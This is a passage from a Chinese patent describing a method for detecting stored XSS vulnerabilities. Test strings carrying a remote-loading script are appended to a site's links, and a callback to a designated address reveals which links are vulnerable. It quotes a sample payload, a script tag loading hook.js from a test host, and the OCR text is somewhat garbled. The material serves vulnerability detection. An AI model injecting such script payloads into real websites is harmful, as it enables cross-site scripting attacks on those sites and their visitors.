領域技術人員可以理解,除非特意聲明,這里使用的單數(shù)形式“一”、“一個”、“所述”和“該”也可包括復數(shù)形式。應該進一步理解的是,本發(fā)明的說明書中使用的措辭“包括”是指存在所述特征、整數(shù)、步驟、操作、元件和/或組件,但是并不排除存在或添加一個或多個其他特征、整數(shù)、步驟、操作、元件、組件和/或它們的組。應該理解,當我們稱元件被“鏈接”或“耦接”到另一元件時,它可以直接鏈接或耦接到其他元件,或者也可以存在中間元件。此外,這里使用的“鏈接”或“耦接”可以包括無線鏈接或無線耦接。這里使用的措辭“和/或”包括一個或更多個相關聯(lián)的列出項的全部或任一單元和全部組合。
[0056]本技術領域技術人員可以理解,除非另外定義,這里使用的所有術語(包括技術術語和科學術語),具有與本發(fā)明所屬領域中的普通技術人員的一般理解相同的意義。還應該理解的是,諸如通用字典中定義的那些術語,應該被理解為具有與現(xiàn)有技術的上下文中的意義一致的意義,并且除非像這里一樣被特定定義,否則不會用理想化或過于正式的含義來解釋。
[0057]本技術領域技術人員可以理解,這里所使用的“終端”、“終端設備”既包括無線信號接收器的設備,其僅具備無發(fā)射能力的無線信號接收器的設備,又包括接收和發(fā)射硬件的設備,其具有能夠在雙向通信鏈路上,執(zhí)行雙向通信的接收和發(fā)射硬件的設備。這種設備可以包括:蜂窩或其他通信設備,其具有單線路顯示器或多線路顯示器或沒有多線路顯示器的蜂窩或其他通信設備;PCS (Personal Communicat1ns Service,個人通信系統(tǒng)),其可以組合語音、數(shù)據處理、傳真和/或數(shù)據通信能力;PDA (Personal Digital Assistant,個人數(shù)字助理),其可以包括射頻接收器、尋呼機、互聯(lián)網/內聯(lián)網訪問、網絡瀏覽器、記事本、日歷和/或GPS (Global Posit1ning System,全球定位系統(tǒng))接收器;常規(guī)膝上型和/或掌上型計算機或其他設備,其具有和/或包括射頻接收器的常規(guī)膝上型和/或掌上型計算機或其他設備。這里所使用的“終端”、“終端設備”可以是便攜式、可運輸、安裝在交通工具(航空、海運和/或陸地)中的,或者適合于和/或配置為在本地運行,和/或以分布形式,運行在地球和/或空間的任何其他位置運行。這里所使用的“終端”、“終端設備”還可以是通信終端、上網終端、音樂/視頻播放終端,例如可以是PDA、MID(Mobile Internet Device,移動互聯(lián)網設備)和/或具有音樂/視頻播放功能的移動電話,也可以是智能電視、機頂盒等設備。
[0058]本技術領域技術人員可以理解,這里所使用的服務器、云端、遠端網絡設備等概念,具有等同效果,其包括但不限于計算機、網絡主機、單個網絡服務器、多個網絡服務器集或多個服務器構成的云。在此,云由基于云計算(Cloud Computing)的大量計算機或網絡服務器構成,其中,云計算是分布式計算的一種,由一群松散耦合的計算機集組成的一個超級虛擬計算機。本發(fā)明的實施例中,遠端網絡設備、終端設備與WNS服務器之間可通過任何通信方式實現(xiàn)通信,包括但不限于,基于3GPP、LTE、WIMAX的移動通信、基于TCP/IP、UDP協(xié)議的計算機網絡通信以及基于藍牙、紅外傳輸標準的近距無線傳輸方式。
[0059]本領域技術人員應當理解,本發(fā)明所稱的“應用”、“應用程序”、“應用軟件”以及類似表述的概念,是業(yè)內技術人員所公知的相同概念,是指由一系列計算機指令及相關數(shù)據資源有機構造的適于電子運行的計算機軟件。除非特別指定,這種命名本身不受編程語言種類、級別,也不受其賴以運行的操作系統(tǒng)或平臺所限制。理所當然地,此類概念也不受任何形式的終端所限制。
[0060]圖1通過步驟流程的形式揭示了本發(fā)明的一個實施例,該實施例屬于對本發(fā)明的網站XSS漏洞檢測方法的核心技術的具體實現(xiàn),包括如下步驟:
[0061]步驟SI,獲取網站待檢測的鏈接。
[0062]本實施例中所指的網站可以是用戶通過(終端等設備)輸入指令具體指定的,也可以是預先設定的,每個網站可以存在一個或多個鏈接,每個鏈接分別對應一個網頁,在存在重寫URL的情況下,則每幾個URL鏈接對應一個網頁。
[0063]步驟S2,在待檢測的鏈接中加入XSS測試字符串形成測試鏈接,其中,測試字符串中包括遠程訪問代碼,遠程訪問代碼執(zhí)行時向指定地址發(fā)送訪問請求;
[0064]上述待測試的鏈接可以是URL (統(tǒng)一資源定位符),例如ws.abc.com/index, php ?a = 1,XSS測試字符串可以是一段Javascript腳本代碼,例如〈script src = "http://xss.test, com/hook.js">,則在鏈接中加入XSS測試字符串形成的測試鏈接可以為:
[0065]ws.abc.com/index, php ? a = Kscript src = ^http://xss.test, com/hook.js">,
[0066]當該網站存在XSS漏洞時,那么網站就會向其相應的數(shù)據庫中寫入測試字符串中遠程訪問代碼〈script = "http:"xss.yy.com/hook.js//>0 該遠程訪問代碼為 Javascript腳本代碼,在其被網站寫入數(shù)據庫時,并不會立即執(zhí)行,而會當其對應鏈接被打開時,即鏈接對應的網頁被顯示時,遠程訪問代碼才執(zhí)行。并且,遠程訪問代碼具有回連功能,即在執(zhí)行時能夠向指定地址發(fā)送訪問請求。根據遠程訪問代碼的上述兩個特性,當測試的鏈接被打開時,只要其對應的網站存在XSS漏洞,那么指定地址就能夠收到該網站的訪問請求,從而判定該網站存在XSS漏洞。
[0067]需要說明的是,上述鏈接、測試字符串和遠程訪問代碼等均是實現(xiàn)本發(fā)明一個實施例的相關示例,實際上可以根據需要確定不同的待測試鏈接,編輯不同的測試字符串和遠程訪問代碼,并且可以為多個待測試鏈接分別添加測試字符串進行檢測,其中每個鏈接的檢測過程相同,在此不再贅述。
[0068]步驟S3,根據測試鏈接發(fā)送超文本傳輸協(xié)議請求;
[0069]測試鏈接中除了包含待測試的鏈接,還包含測試字符串,而測試字符串中的遠程訪問代碼中則包含有指定地址信息,使得遠程訪問代碼執(zhí)行時,將遠程訪問代碼寫入數(shù)據庫的網站向指定地址發(fā)送訪問請求。并且,超文本傳輸協(xié)議請求也只是訪問請求中的一種,訪問請求也可以是其他類型協(xié)議的請求。
[0070]步驟S4,如果指定地址獲取到來自網站的訪問請求,則確定網站存在XSS漏洞。
[0071]當指定地址獲取到來自網站的訪問請求,說明網站已經將遠程訪問代碼寫入了其數(shù)據庫,正是在網站存在XSS漏洞時,網站才會將遠程訪問代碼寫入其數(shù)據庫,并在遠程訪問代碼執(zhí)行時,向指定地址發(fā)送訪問請求。因此一旦指定地址獲取到了到來自網站的訪問請求,就可以判定其存在XSS漏洞。
[0072]由于添加測試字符串的待測試鏈接包括網站的所有鏈接,或用戶指定的部分鏈接,為每個鏈接可以分別添加一個測試字符串,從而在其中任意一個鏈接對應網頁被顯示時,指定地址就可以接收到網站的訪問請求,從而確定網站存在XSS漏洞。無需為指定鏈接發(fā)包來等待指定鏈接的響應,從而實現(xiàn)大量鏈接的網站XSS漏洞檢測,提高XSS漏洞檢測的覆蓋率。
[0073]優(yōu)選地,獲取網站待檢測的鏈接包括:
[0074]獲取用戶指定網站的鏈接以及與指定網站相關聯(lián)的其他鏈接。
[0075]根據本發(fā)明的一個實施例,允許用戶根據需要指定需要測試的鏈接。由于不同的網站鏈接數(shù)量不同,鏈接類型也不同,即使針對同一網站進行檢測,不同的用戶所需檢測內容也不盡相同。因此可以為用戶提供一個操作平臺(例如圖形用戶界面),供用戶根據需要指定要檢測的網站,以及具體需要檢測的鏈接類型和鏈接數(shù)量,從而實現(xiàn)根據需要的精準檢測,避免了對于已確認安全的網站或鏈接重復檢測,提升用戶體驗的同時,降低了檢測操作的資源消耗。
[0076]如圖2所示,優(yōu)選地,步驟SI具體包括:
[0077]S11,通過旁路偵聽而獲得的超文本傳輸協(xié)議請求包;S12利用請求包所包含的鏈接確定屬于已知特定網站的關聯(lián)新鏈接;
[0078]S13,將關聯(lián)新鏈接作為待檢測的鏈接。
[0079]旁路偵聽技術本是基于交換機的“共享”原理,所有接入該交換機的計算機設備將共同接收到相同的數(shù)據包,即當一臺計算機向網絡上另一臺計算機發(fā)送數(shù)據的時候,或者一個請求進入該交換機的時候,盡管最終可能只有一臺計算機接收該數(shù)據或請求,其實該網絡上的其他計算機也能收到該數(shù)據或請求,只不過其他計算機的網卡識別到該數(shù)據或請求的目的地不是自身時,直接將該數(shù)